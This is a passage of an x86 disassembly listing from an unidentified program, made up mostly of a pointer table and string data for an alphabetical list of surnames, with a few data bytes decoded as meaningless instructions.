		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		db 0F8h
; ---------------------------------------------------------------------------

loc_42E1A1:				; CODE XREF: ___:0042E1A8j
		test	dword ptr [edx+0], offset aMontilio ; "Montilio"
		loopne	loc_42E1A1
		inc	edx
		add	al, bl
		test	dword ptr [edx+0], offset aMoreton ; "Moreton"
; ---------------------------------------------------------------------------
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
; ---------------------------------------------------------------------------
		clc
		jmp	short loc_42E721
; ---------------------------------------------------------------------------
		align 10h
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E731
; ---------------------------------------------------------------------------
		align 10h
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-4FFFBD15h], bh
		jmp	short loc_42E741
; ---------------------------------------------------------------------------
		align 10h
		test	al, 0EBh
		inc	edx
		add	[eax-6BFFBD15h], ah
		jmp	short loc_42E74D
; ---------------------------------------------------------------------------
		align 4
		mov	ebx, gs
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E759
; ---------------------------------------------------------------------------
		align 4
		dd offset aUrban	; "Urban"
; ---------------------------------------------------------------------------
		pusha
		jmp	short near ptr loc_42E760+1
; ---------------------------------------------------------------------------
		align 10h
		pop	eax

loc_42E721:				; CODE XREF: ___:0042E6DDj
		jmp	short loc_42E765
; ---------------------------------------------------------------------------
		align 4
		dd offset aUzuner	; "Uzuner"
; ---------------------------------------------------------------------------
		dec	eax
		jmp	short loc_42E76D
; ---------------------------------------------------------------------------
		align 4
		dd offset aWaite	; "Waite"
		db 38h
; ---------------------------------------------------------------------------

loc_42E731:				; CODE XREF: ___:0042E6EDj
		jmp	short loc_42E775
; ---------------------------------------------------------------------------
		align 4
		sub	al, 0EBh
		inc	edx
		add	[ebx+ebp*8], ah
		inc	edx
		add	[eax], bl
		jmp	short near ptr byte_42E781
; ---------------------------------------------------------------------------
		align 10h
		db 10h
; ---------------------------------------------------------------------------

loc_42E741:				; CODE XREF: ___:0042E6FDj
		jmp	short loc_42E785
; ---------------------------------------------------------------------------
		align 4
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		db 0F0h
; ---------------------------------------------------------------------------

loc_42E74D:				; CODE XREF: ___:0042E709j
		jmp	far ptr	42h:0EAE00042h
; ---------------------------------------------------------------------------
		aam	0EAh
		inc	edx
		add	al, cl

loc_42E759:				; CODE XREF: ___:0042E715j
		jmp	far ptr	42h:0EAC00042h
; ---------------------------------------------------------------------------

loc_42E760:				; CODE XREF: ___:0042E71Dj
		mov	eax, 0AC0042EAh

loc_42E765:				; CODE XREF: ___:loc_42E721j
		jmp	far ptr	42h:0EAA00042h
; ---------------------------------------------------------------------------
		xchg	eax, esp

loc_42E76D:				; CODE XREF: ___:0042E729j
		jmp	far ptr	42h:0EA880042h
; ---------------------------------------------------------------------------
		db 7Ch
; ---------------------------------------------------------------------------

loc_42E775:				; CODE XREF: ___:loc_42E731j
		jmp	far ptr	42h:0EA700042h
; ---------------------------------------------------------------------------
		dd offset aWelles	; "Welles"
		db 60h
byte_42E781	db 0EAh, 42h, 0		; CODE XREF: ___:0042E73Dj
; ---------------------------------------------------------------------------
		pop	eax

loc_42E785:				; CODE XREF: ___:loc_42E741j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E868o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E864o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E860o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E85Co
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E858o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E854o
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E850o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E84Co
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E848o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E844o
aYu		db 'Yu',0               ; DATA XREF: ___:0042E840o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E83Co
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E838o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E834o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E830o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E82Co
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E828o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E824o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: ___:0042E820o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E81Co
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E818o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E814o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E810o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E80Co
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E808o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E804o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E800o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7FCo
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7F8o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7F4o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7F0o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7ECo
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7E8o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7E4o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7E0o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7DCo
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7D8o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E7D4o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E7D0o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E7CCo
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E7C8o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E7C4o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E7C0o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E7BCo
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E7B8o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E7B4o
aViano		db 'Viano',0            ; DATA XREF: ___:0042E7B0o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: ___:0042E7ACo
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E7A8o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E7A4o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E7A0o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E79Co
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E798o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E794o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E790o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E78Co
		align 10h
aVenne		db 'Venne',0
		align 4
aWengret	db 'Wengret',0
aWelsh		db 'Welsh',0
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E77Co
		align 10h
aVelasquez	db 'Velasquez',0
		align 4
aWeissman	db 'Weissman',0
		align 4
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 10h
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 4
aWaugh		db 'Waugh',0
		align 10h
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0
		align 4
aWarshafsky	db 'Warshafsky',0
		align 10h
aVanheeckeren	db 'Vanheeckeren',0
		align 10h
aVandenberg	db 'Vandenberg',0
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042E748o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042E744o
		align 10h
aWalter		db 'Walter',0
		align 4
aWallenberg	db 'Wallenberg',0
		align 4
aWales		db 'Wales',0
		align 4
aValencia	db 'Valencia',0
		align 4
aValberg	db 'Valberg',0
aWaite		db 'Waite',0            ; DATA XREF: ___:0042E72Co
		align 4
aVacca		db 'Vacca',0
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042E724o
		align 4
aUsdan		db 'Usdan',0
		align 10h
aUrdangBrown	db 'Urdang-Brown',0
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: ___:0042E718o
		align 4
aUpsdell	db 'Upsdell',0
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0
		align 4
aTzamarias	db 'Tzamarias',0
		align 10h
aTwells		db 'Twells',0
		align 4
aTuttle		db 'Tuttle',0
		align 10h
aTurek		db 'Turek',0
		align 4
aTurano		db 'Turano',0
		align 10h
aTukan		db 'Tukan',0
		align 4
aTudge		db 'Tudge',0
		align 10h
aTuck		db 'Tuck',0
		align 4
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042E6E4o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042E6E0o
aTruss		db 'Truss',0
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: ___:0042E6D8o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042E6D4o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042E6D0o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E6CCo
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E6C8o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E6C4o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042E6C0o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E6BCo
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E6B8o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E6B4o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E6B0o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E6ACo
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E6A8o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E6A4o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E6A0o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E69Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E698o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E694o
aTill		db 'Till',0             ; DATA XREF: ___:0042E690o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E68Co
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E688o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E684o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E680o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E67Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E678o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E674o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E670o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E66Co
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E668o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E664o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E660o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E65Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E658o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E654o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E650o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E64Co
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E648o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E644o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E640o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E63Co
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E638o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E634o
